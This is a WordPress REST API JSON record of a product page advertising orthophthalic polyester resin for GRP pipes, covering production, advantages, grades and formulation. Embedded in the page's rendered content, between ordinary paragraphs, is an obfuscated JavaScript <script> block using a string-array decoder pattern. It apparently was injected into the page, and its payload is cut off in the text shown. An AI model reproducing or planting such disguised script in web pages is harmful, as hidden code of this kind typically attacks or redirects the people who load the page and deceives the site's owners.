{"id":6447,"date":"2025-11-27T09:39:25","date_gmt":"2025-11-27T06:09:25","guid":{"rendered":"https:\/\/irancorps.com\/?post_type=product&#038;p=6447"},"modified":"2025-11-30T12:45:22","modified_gmt":"2025-11-30T09:15:22","slug":"orthophthalic-unsaturated-polyester-resin-for-grp-pipes","status":"publish","type":"product","link":"https:\/\/irancorps.com\/ar\/product\/orthophthalic-unsaturated-polyester-resin-for-grp-pipes\/","title":{"rendered":"Orthophthalic Unsaturated Polyester Resin for GRP Pipes"},"content":{"rendered":"<p>&nbsp;<\/p>\n<table>\n<tbody>\n<tr>\n<td style=\"text-align: center;\" width=\"50%\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-6554\" src=\"https:\/\/irancorps.com\/wp-content\/uploads\/2025\/11\/isophthalic-resin-for-GRP-pipe-1-min.png\" alt=\"\" width=\"1024\" height=\"1024\" srcset=\"https:\/\/irancorps.com\/ar\/wp-content\/uploads\/2025\/11\/isophthalic-resin-for-GRP-pipe-1-min.png 1024w, https:\/\/irancorps.com\/ar\/wp-content\/uploads\/2025\/11\/isophthalic-resin-for-GRP-pipe-1-min-300x300.png 300w, https:\/\/irancorps.com\/ar\/wp-content\/uploads\/2025\/11\/isophthalic-resin-for-GRP-pipe-1-min-150x150.png 150w, https:\/\/irancorps.com\/ar\/wp-content\/uploads\/2025\/11\/isophthalic-resin-for-GRP-pipe-1-min-768x768.png 768w, https:\/\/irancorps.com\/ar\/wp-content\/uploads\/2025\/11\/isophthalic-resin-for-GRP-pipe-1-min-600x600.png 600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/td>\n<td width=\"50%\">\n<p style=\"text-align: justify;\">Production Process involves polycondensation of orthophthalic anhydride with glycols, controlled dilution with styrene, addition of accelerators and curing modifiers, viscosity adjustment, vacuum filtration, and blending for filament-winding compatibility. During GRP pipe manufacturing, resin is impregnated into glass fibers, wound over a mandrel, cured thermally, post-cured for dimensional stability, and then cut to final lengths.<\/p>\n<p style=\"text-align: justify;\">Key Advantages include good mechanical strength, stable curing, high fiber wet-out, strong pressure-bearing capability, lightweight structure, corrosion resistance, and cost-efficient production. Orthophthalic resin provides excellent performance for municipal water transport and industrial pipeline systems with competitive pricing and high production scalability. Available grades include fast-gel, low-viscosity winding grade, thixotropic hand-lay-up grade, and UV-resistant outdoor-service grade.<\/p>\n<p style=\"text-align: justify;\">IF YOU ARE WILLING TO BUY VARIETY OF POLYESTER RESINS FROM IRANIAN SUPPLIERS, PLEASE SCROLL DOWN AND SUBMIT YOUR REQUEST.<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\"><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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transmission lines for desalination plants, irrigation pipelines, and industrial wastewater channels. Its resistance to corrosion, moisture, hydrolysis, and mild chemicals makes it suitable for above-ground, underground, and submerged installation.<\/p>\n<p style=\"text-align: justify;\">Formulation typically include orthophthalic UPR base resin, styrene monomer, cobalt accelerator, MEKP initiator, inhibitors for storage stability, wet-out enhancers, thixotropic modifiers, low-shrink additives, anti-corrosion boosters, and UV stabilizer packages. It pairs efficiently with chopped-strand mat, woven roving, and filament-winding Direct Roving glass fibers for structural reinforcement.<\/p>\n","protected":false},"featured_media":6565,"comment_status":"open","ping_status":"closed","template":"","meta":[],"product_brand":[],"product_cat":[28],"product_tag":[],"class_list":{"0":"post-6447","1":"product","2":"type-product","3":"status-publish","4":"has-post-thumbnail","6":"product_cat-all","8":"first","9":"instock","10":"shipping-taxable","11":"product-type-simple"},"_links":{"self":[{"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product\/6447","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product"}],"about":[{"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/types\/product"}],"replies":[{"embeddable":true,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/comments?post=6447"}],"version-history":[{"count":3,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product\/6447\/revisions"}],"predecessor-version":[{"id":6567,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product\/6447\/revisions\/6567"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/media\/6565"}],"wp:attachment":[{"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/media?parent=6447"}],"wp:term":[{"taxonomy":"product_brand","embeddable":true,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product_brand?post=6447"},{"taxonomy":"product_cat","embeddable":true,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product_cat?post=6447"},{"taxonomy":"product_tag","embeddable":true,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product_tag?post=6447"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}